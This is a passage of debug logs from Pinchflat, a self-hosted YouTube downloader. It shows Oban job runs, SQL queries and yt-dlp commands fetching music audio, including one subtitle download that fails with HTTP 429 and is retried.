{"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784858802036211222,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:42.036 [debug] QUERY OK source="media_items" db=0.2ms idle=1775.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:06:42.036 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:42.037 [debug] QUERY OK source="sources" db=0.1ms idle=1376.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:06:42.037 [debug] QUERY OK source="media_profiles" db=0.1ms idle=918.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:42.037 [debug] QUERY OK source="media_items" db=0.2ms idle=217.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:06:42.038 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:06:42.038 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:42.038 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.039 [debug] Running yt-dlp command for action: get_downloadable_status 22:06:42.039 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.039 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.039 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.040 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/92/4d/924d76e886c491ffc02662d548cce8e81ac4e4000231c6f59901b223e05f6c98.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:44.254 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/92/4d/924d76e886c491ffc02662d548cce8e81ac4e4000231c6f59901b223e05f6c98.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:44.254 [debug] Running yt-dlp command for action: download 22:06:44.255 [debug] QUERY OK source="settings" db=0.2ms idle=1136.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:44.255 [debug] QUERY OK source="settings" db=0.1ms idle=1136.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:44.255 [debug] QUERY OK source="settings" db=0.1ms idle=1136.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:44.255 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b9/0f/b90f829decd1997c23502649240cbb18abd13d66ffda9f3318ff200c2123db8b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:44.323 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:46.649 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b9/0f/b90f829decd1997c23502649240cbb18abd13d66ffda9f3318ff200c2123db8b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:06:46.649 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:06:46.761 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4613341,"event":"job:exception","queue_time":789669,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:49.714 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zo9o4OiilLg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/05/12/051250c4c96532a32a961f51b0bffb3928957b8bb688d6b1a4ff5dc0c6a3caf8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:49.781 [debug] Running yt-dlp command for action: download_thumbnail 22:06:49.782 [debug] QUERY OK source="settings" db=0.1ms idle=1663.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:49.782 [debug] QUERY OK source="settings" db=0.0ms idle=1663.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:49.782 [debug] QUERY OK source="settings" db=0.0ms idle=1663.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:49.782 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zo9o4OiilLg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/458/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/53/0e/530e71fad414dfa9eaee62bc0e5caefdce9d8efb78197466cc00bb8974b5d566.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:50.267 [info] {"args":{"id":457},"id":176,"meta":{},"system_time":1784858810267383811,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:50.267 [debug] QUERY OK source="media_items" db=0.2ms idle=485.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [457] 22:06:50.268 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:50.268 [debug] QUERY OK source="sources" db=0.2ms idle=485.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:06:50.268 [debug] QUERY OK source="media_profiles" db=0.2ms idle=485.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:50.269 [debug] QUERY OK source="media_items" db=0.1ms idle=182.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [457] 22:06:50.270 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [457] 22:06:50.270 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:50.270 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:50.270 [debug] Running yt-dlp command for action: get_downloadable_status 22:06:50.271 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:50.271 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:50.271 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:50.271 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/05/b2/05b279b0f62c2b2cb24f4e28c5db547bc362d2b92649df8ac407acd04cafb2ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:52.518 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zo9o4OiilLg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/458/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/53/0e/530e71fad414dfa9eaee62bc0e5caefdce9d8efb78197466cc00bb8974b5d566.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:52.519 [debug] QUERY OK db=0.0ms idle=430.4ms begin [] 22:06:52.520 [debug] QUERY OK source="media_items" db=0.8ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "nfo_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Nightcore/Nightcore/2026-07-23Nightcore - Hero (But it hits hard) (Lyrics)[zo9o4OiilLg].m4a", ~U[2026-07-24 02:06:49Z], "/downloads/Nightcore/Nightcore/2026-07-23Nightcore - Hero (But it hits hard) (Lyrics)[zo9o4OiilLg].nfo", [["en", "/downloads/Nightcore/Nightcore/2026-07-23Nightcore - Hero (But it hits hard) (Lyrics)[zo9o4OiilLg].en.vtt"]], ~U[2026-07-24 02:06:52Z], 458] 22:06:52.520 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/458/metadata.json.gz", "/config/metadata/media_items/458/thumbnail.jpg", 458, ~U[2026-07-24 02:06:52Z], ~U[2026-07-24 02:06:52Z]] 22:06:52.734 [debug] QUERY OK db=213.1ms commit [] 22:06:52.783 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/05/b2/05b279b0f62c2b2cb24f4e28c5db547bc362d2b92649df8ac407acd04cafb2ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:52.783 [debug] Running yt-dlp command for action: download 22:06:52.934 [debug] QUERY OK source="media_items" db=199.5ms idle=615.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [3246243, ~U[2026-07-24 02:06:52Z], 458] 22:06:52.934 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:53.029 [info] {"args":{"id":458},"id":177,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19243138,"event":"job:stop","queue_time":4398713,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:53.112 [debug] QUERY OK source="settings" db=329.0ms idle=664.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:53.113 [debug] QUERY OK source="settings" db=0.1ms idle=178.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:53.113 [debug] QUERY OK source="settings" db=0.1ms idle=84.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:53.113 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/49/16/4916f0898d2abf9ebcf742f25907f93725d52e093a5f68145e37eceb7138bb74.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:00.220 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:01.579 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/49/16/4916f0898d2abf9ebcf742f25907f93725d52e093a5f68145e37eceb7138bb74.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:01.655 [debug] Running yt-dlp command for action: download_thumbnail 22:07:01.656 [debug] QUERY OK source="settings" db=0.1ms idle=1536.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:01.656 [debug] QUERY OK source="settings" db=0.0ms idle=1537.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:01.656 [debug] QUERY OK source="settings" db=0.0ms idle=1530.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:01.656 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/457/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c2/87/c287f08d0dad25af33e098e6705fa75a5b268659b26c5f95d8775d26e089d012.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:04.197 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Kr2lbQwHQeY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/457/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c2/87/c287f08d0dad25af33e098e6705fa75a5b268659b26c5f95d8775d26e089d012.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:04.198 [debug] QUERY OK db=0.0ms idle=1079.1ms begin [] 22:07:04.199 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "nfo_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", ~U[2026-07-24 02:07:01Z], "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].nfo", [["en", "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].en.vtt"]], ~U[2026-07-24 02:07:04Z], 457] 22:07:04.199 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/457/metadata.json.gz", "/config/metadata/media_items/457/thumbnail.jpg", 457, ~U[2026-07-24 02:07:04Z], ~U[2026-07-24 02:07:04Z]] 22:07:04.389 [debug] QUERY OK db=190.3ms commit [] 22:07:04.528 [debug] QUERY OK source="media_items" db=137.0ms idle=1271.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [2057226, ~U[2026-07-24 02:07:04Z], 457] 22:07:04.528 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:07:04.671 [info] {"args":{"id":457},"id":176,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14261001,"event":"job:stop","queue_time":555848,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:07:14.325 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:37.503 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784858857502962412,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:07:37.503 [debug] QUERY OK source="media_items" db=0.2ms idle=1384.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", 